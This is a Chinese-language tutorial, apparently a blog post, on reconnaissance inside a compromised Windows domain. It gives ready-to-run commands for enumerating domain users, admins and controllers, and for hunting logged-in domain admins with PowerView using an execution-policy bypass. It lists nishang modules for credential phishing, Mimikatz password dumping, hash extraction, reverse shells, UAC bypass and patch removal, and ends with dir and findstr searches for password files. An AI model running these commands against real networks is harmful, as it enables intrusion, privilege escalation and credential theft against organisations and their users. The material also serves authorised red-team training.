1.域内基本信息收集
2.NET命令详解
3.内网主要使用的域收集方法
4.查找域控制器的方法
5.查询域内用户的基本信息
6.定位域管
7.powershell命令和定位敏感信息
1.域内基本信息收集:
四种情况:
1.本地用户:user
2.本地管理员用户:家庭版禁用,server才有
3.域内用户
4.域内管理员
本地普通用户不能获取域内信息
本地管理员用户,可以直接提权为system用户(域内用户),可以获取域内信息
一.判断域是否存在:1.查看域:ipconfig/all 或 systeminfo 或net config workstation
ipconfig /all : 发现域为:hack.com
systeminfo : 发现域为:hack.com
2.查看域的DNS主机:nslookup 域名(hack.com)
3.Net time /domain 三种情况
存在域,但当前用户不是域用户
存在域,当前用户是域用户
当前网络环境为工作组,不存在域
2.NET命令详解:
1.net view:显示域列表,计算机列表,指定计算机共享资源:net view(显示计算机列表) net view \\computer (查看指定的共享计算机)
net view /domain:域名(hack) (显示计算机列表)
2.net user查看本地用户:net user /domain 查看域内多少个用户
添加用户:net user 名称(admin) 密码(123)/add
3.net use:连接计算机或者断开计算机与共享资源的连接,显示计算机的连接信息
4.net time:使用时间使计算机或者域同步:net time \\computer net time /domain
5.net start:启动服务,或者显示已经启动的服务:net start service
6.net pause:暂停正在运行的服务:net pause service
7.net continue:重新激活服务:net continue service
8.net stop:停止Windows NT/2000/2003服务:net stop service
9.net share:删除、创建、或者显示共享资源
10.net session:列出或者断开本地计算机和与之连接的客户端的会话:
net session //computer (标识要列出或者会话的计算机)
net session //computer \delete (断开指定计算机的会话)
11.net localgroup 查看计算机组(只适用于本地):net localgroup 用户名
域用户:net localgroup 用户名 /domain
12.net group查询域内组的名称(只适用于域控制器):net group /domain
13.net config 显示当前运行的可配置服务,或者显示并更改某项服务的配置(在本地):
net config (显示正在运行的服务) net config 服务 (显示服务的列表)
14.net computer 从域数据库中添加或者删除计算机:
net computer \\computername /add 或者 /del (将计算机添加或者删除到登录域)
3.内网主要使用的域收集方式
如果出现"此工作组的服务器列表当前无法使用" 开启服务:Server ,WorkStation,computer Browser,关闭防火 墙
查看域:ipconfig/all 或者 systeminfo 或者 net config workstation
查看域的DNS主机:nslookup 域名(hack.com)
查询域:net view /domain
查询域内所有计算机:net view /domain:域名
查询域内所有用户组列表:net group /domain
查询所有域成员的计算机列表:net group "domain computers" /domain
查询域内密码信息:net accounts /domain
获取域信任信息:nltest /domain_trusts
4.查找域控制器的方法
查看到域控制器机名:nltest /DCLIST:hack
查看到机器名,找IP,ping/nslookup:ping/nslookup 域控制器名
有时候会遇到ping禁用,这里使用nslookup
查看域控制器主机名:nslookup ‐type=SRV _ldap._tcp
查看当前时间:net time /domain
查看域控制器组:net group "Domain Controllers" /domain
5.查询域内用户的基本信息
1.查询域内用户信息:net user /domain
2.查看本地用户:wmic useraccount get name 域用户:wmic useraccount get domain,name
本地用户:
域用户:
3.查看存在的用户:dsquery user (有的时候可能执行不了,只能在server机器上运行)
4.查询本地管理员用户组:net localgroup administrators
5.查询域管理员用户:net group "domain admins" /domain
6.查询域管理员用户组:net group "Enterprise Admins" /domain
6.定位域管
这里需要用到两个工具
先将工具上传服务器上去,再执行
1.PVEFindADUser:PVEFindADUser.exe -current (注意路径) 这个工具可以查看计算机都登陆过哪些用户,从而可以让我们找到域管
2.powerView脚本:
powershell.exe ‐exec bypass ‐command "& { import‐module .\PowerView.ps1;Invoke‐UserHunter}"
7.powershell命令和定位敏感信息
先查看权限:Get-ExecutionPolicy
改变运行策略:Set-ExecutionPolicy Unrestricted (只有是Unrestricted权限才能执行pow)
nishang工具(在上篇文章中有下载链接):
放在CS目录后,直接导入:powershell-import nishang/nishang.psm1
执行:powershell 命令
一些常用命令:
Check-VM : 检测该主机是不是虚拟机
Invoke-CredentialsPhish : 欺骗用户,让用户输入密码
Get-WLAN-Keys : wifi信息
Invoke-Mimikatz: 抓密码
Get-PassHashes: 获取hash
Get-PassHints: 获取用户的密码提示信息
Invoke-PowerShellTcp: 反弹shell
Invoke-PsUACme: 绕过UAC
Remove-Update: 删除补丁
Get-Information: 本机信息
示例:powershell Check-VM
定位敏感数据:
1.指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b C:\"*.xlsx"
dir /a /s /b d:\"*.md"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.pdf"
dir /a /s /b d:\"*.docx"
dir /a /s /b d:\"*.doc"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
2.指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
示例:dir /a /s /b d:\"*.txt"